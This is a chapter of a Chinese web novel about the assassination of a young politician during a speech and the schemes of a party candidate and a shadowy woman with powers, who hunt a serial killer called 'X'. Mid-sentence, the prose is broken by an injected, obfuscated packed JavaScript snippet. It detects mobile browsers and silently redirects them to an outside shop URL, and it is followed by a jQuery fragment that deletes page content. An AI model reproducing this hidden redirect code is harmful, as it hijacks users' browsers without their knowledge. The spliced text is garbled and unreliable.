上城区,联邦大厦。
尖塔状建筑高耸入云,足有数百层,是7区最宏伟的建筑。
这里常年戒备森严,不允许闲杂人等靠近,今天是为数不多的例外。
每五年,联邦内部会票选出新的理事,理事在联邦内部拥有颇具分量的话语权,联邦发布的任何一条规定,都能改写整个7区的命运走势。
今年正是理事换届的年份。
历年换届,联邦大厦门前都会聚集上许多着各式衣装的人,热闹极了。
有的是上城区狂热的党派分子,有的是警惕的便衣安保,有的是秘密情报者,有的是渴求一手资讯的记者,还有的是单纯看热闹的居民。
现在虽然已快晚上八点,但联邦大厦前仍人满为患,这里每天都会有党派中的政要进行义愤填膺的演讲,人们齐聚于此,欢呼着,呐喊着,为了未来挥拳争取着。
一艘贴满鲜艳旗帜的飞艇从空中有序地盘旋而落,在人群一波又一波呐喊热潮的拥护下,飞艇落下了一条长长的云梯,走下来的人即将进行今天的演讲。
可在人们看清了来者后,声浪短暂地退潮了片刻,再次响起的呼声中,夹杂了不少零散碎语。
今天本应是7区势头最旺的新晋政党联合党的候选人,实际上并非如此。
飞艇上走下了一位身着正装的年轻面庞——从外表上看至少有四十来岁,他领前却佩戴着象征权力的联合党勋章,与这份权力相比,四十来岁确实太年轻了。
来者不是联合党的候选人,而是联合党的财政要员。
身为联合党最年轻的新秀,凌瑟当然能够感受到人潮情绪的变化,但他并不在意,他边走下云梯,边慢慢挥着手,仿佛此刻他才是真正的领袖一般。
联合党的候选人临时无法出席演讲,没有人知道具体原因。不过这恰好给了凌瑟一个让众人记住自己、表现自己的难得机会,他当然会好好珍惜。
凌瑟在政界爬得很快,家世显赫,学历优秀,自身能力也十分出众——条件算得上是佼佼之辈,但上城区最不缺的就是精英,能让他取得如此地位的,是他短短的从政生涯中引人羡慕的、宛有神助的强运。
一次是偶然,两次是实力,每次就只能用强运来形容了。
凌瑟缓步迈上了联邦大厦的高台,他在演讲上有着独树一帜的渲染力,嘈杂的人群随着他不大的声音逐渐安静,又随着他渐疾的语速逐渐热烈疯狂。
这位年轻的议员特别喜欢在演讲时远望,高台的视野很好,他能够清楚地看见所有的人与物,台下懵懂人群那未开化的眼神、远空中悬浮的飞艇上有一根裸露的钢丝、数条街外半掩着的窗户下肮脏的交易……
他甚至能看清百米开外的摩天大楼天台上,一个黑洞洞的枪口——瞄准他的枪口。
“无知的愚民。”凌瑟在心中默念,露出了近乎哀悼的笑容,“愿主保佑你。”
早在之前的数年,无数人前仆后继地想要刺杀上城区演讲的候选人,有的想取而代之,有的想实现自己的野心、有的想引发内乱…而无论是何种动机,都无一例外地失败了。
明面上,这里拥有最先进的科技,无所不在的拦截与反击系统,能够将一切物理上的攻击化为虚无。
暗地里,这里拥有效忠于联邦的7区最强擅于防御的异能者,能够将一切无法理解的诡谲驱散。
无数前人证明了这里的坚不可摧。
物理攻击被拦截,而其它攻击将被反噬,在受到伤害的前一秒,杀手会先一步替台上的人承担一切攻击。
子弹在霓虹灯色的反射下呈现着诡异的纹路,这枚载着杀意的子弹出膛了,向着台上呼啸而出。
凌瑟继续着自己激昂的演说,兴到浓处,他甚至张开双臂,向前拥了上去。
旁人眼里,这位议员主动拥向了密密麻麻的人群;枪口眼里,这位议员主动走向了子弹呼啸而来的方向。
其实都不是。
凌瑟的眼里只有前方在风中卷起又舒展的、象征着掌权者的旗帜,他并不在意任何人,他并不在意任何刺杀与威胁,他向前走,仅仅是因为从喉头中冒出的一句句演讲话语勾起了他自己内心的汹涌澎拜,他无法控制自己体内逐渐高涨的情绪,这里的未来终将归属于他,终将归属于……
“咻——”
由远及近的低鸣,近乎于无法反应的速度似乎能将空气都擦出火花,留下了一条细细的银白残影。
“咚!”
人群举起的手臂还悬在半空,沉醉于演讲的表情还未融化,防御的系统还来不及启动,一道闷重的响声就传进了鼓膜,唤醒了神经。
不知谁发出了第一声尖叫,随即,接二连三的警报声接踵而至。
仓皇的人们被一个个从头武装到脚的指挥员和背着厚重武器的机器人拦下。
台下,有人不停啜泣,有人狂按快门,有人茫然无知。
台上,暗红色的血逐渐蔓延开来,干涸凝结。
——联合党的财政议员凌瑟死了,死于不光彩的暗杀。
这是一个爆炸的新闻,一个上城区和下城区都能讨论上两句的新闻。
这个新闻传到联合党的候选人安褔尼耳中时,他本就难看的脸色变得更加难看了。
在助理眼里,这位头发花白的候选人在缄默了近半分钟后,长长地舒了一口气,语气没有太过明显的变化——这是一位合格的领袖最基本的素养,可他相较平时更加颤抖的尾音暴露了他的情绪,“严查到底,这事至关重要,把这件事放到第一位去办。”
是啊,如果不是“幸运”的凌瑟临时代替安福尼去演讲,此时人头落地的就是眼前这位候选人了。
助理如是想道,他连连应声,在得到指示后赶紧退了下去,不想再去触霉头。
门被关上的片刻后,安褔尼轻轻咳了两声,向空气发问:“你认为凌瑟是被''X''杀的吗?”
原本空无一人的房间中,一部分区域的颜色慢慢变深、凝结,逐渐勾勒出了一个活动的人影,这现象超乎常理,安褔尼却没有表现出任何惊奇与诧异,继续说:“一定是他,一定是他做的。”
X是一个代称,是近段时间上城区发生的一系列暗杀事件之中,对嫌疑人的代称。
满打满算,凌瑟是这个月的第八个受害者,受害者的身份五花八门,明面上看没有任何联系。
暗杀方式都是最原始的枪击爆头,嫌疑人X没留下任何线索,
“追究是谁做的其实没有意义。”浓墨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127697|196164||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
重彩的影子开口,声音又柔又媚,“不过这个X确实可恨,在这里杀了这么多无辜的人。”
她重重地咬住了“无辜”二字,可安褔尼却像没注意到般,仍沉浸在自己的情绪与后怕中。
阿金望着这位年迈的掌权者,无奈地叹了口气,双手扶上太阳穴,幽幽地说:“我对这个人倒是有些眉目,就看您想不想继续追下去了。”
这话说得很直白,一语点醒了怒火中烧的安褔尼——怨不得这位高高在上的候选人如此失态,在安福尼的认知里,如果不是因为今天的意外耽误,新闻中滚动播放的名字就是安福尼三个字了。
“你有线索,为什么不去查?”安褔尼的语气重了些。
“要得到您的准许才行呀。”阿金嘴角仍噙着笑意,仿佛读不懂安褔尼些许的怒气,语调无辜、还带着些气音,“你们的规矩,不都是员工办事前,必须要有老板的同意么?”
安褔尼没有说话,只是盯着这个高挑的女人。
他一生中有许多爱好,权力、名誉、财富…当然,最爱的还是女人。他偏好于成熟而艳丽的女人,拥有独特个性的女人——最后都将臣服于他的女人。
眼前这个女人,在第一眼看到时,安褔尼就完全陷入了她的美貌中。
可再深入了解之后,这种沉迷却消失得无影无踪,相反,他却厌恶这个女人,甚至是生理性的、本能的反感。
就像青蛙不会爱上一条蛇那么简单。
这个自称“阿金”的女人拥有强大而诡异的异能,不听命于任何人,没有任何把柄可以拿捏。
她找上他是为了谋求合作。
仅仅是简单的合作关系。
阿金替安褔尼暗地里办事,各方面的事,无所不能;而她所求的,只是安褔尼所控制的小小的一部分产业,类型很杂,体量也只是九牛一毛。
这样稳赚不赔的买卖,安褔尼没有任何拒绝的理由,更何况如果拒绝了,也许第二天,阿金就会变成刺向自己的尖刀。
越是深入接触,安褔尼越是觉得阿金这个人的可怕,据他了解,整个7区拥有异能的人不多,而且都被严格登记在案,明确归属于某方势力之内,且异能本身也有鲜明的特点,有的偏向攻击,有的是防御,也有的是天马行空的奇思妙想…
阿金和那些人不一样,安褔尼查阅过关于异能的档案,阿金不为列于上面。她的行动来去自如,攻击力也极强,也曾在危急关头保护过他,看上去简直无所不能。
真是让人作呕的怪物。
安褔尼面上没有露出一丝不悦,像是在吩咐一个值得信赖的下属,“阿金,那就拜托你去查X的事。”
同时,安福尼也下定了决心。
彻查完X后,不管阿金能够给他带来怎样的收益,他都将清理她。
这是一枚埋在身边的定时炸弹,没有平常感情,不受常理束缚的怪物罢了。
“收到呢,boss~”阿金薄薄的唇抿起,长而翘的睫毛微微下垂,盖住了眼底的戏谑,脆声应道。
下一秒,她凭空消失在了安保严密的办公室中,只留下一尾淡淡的残影,空气被溅起一圈圈像素颗粒质感的涟漪,逐渐变淡、散开,宛如一颗璀璨划破天际又消失得无影无踪的流星。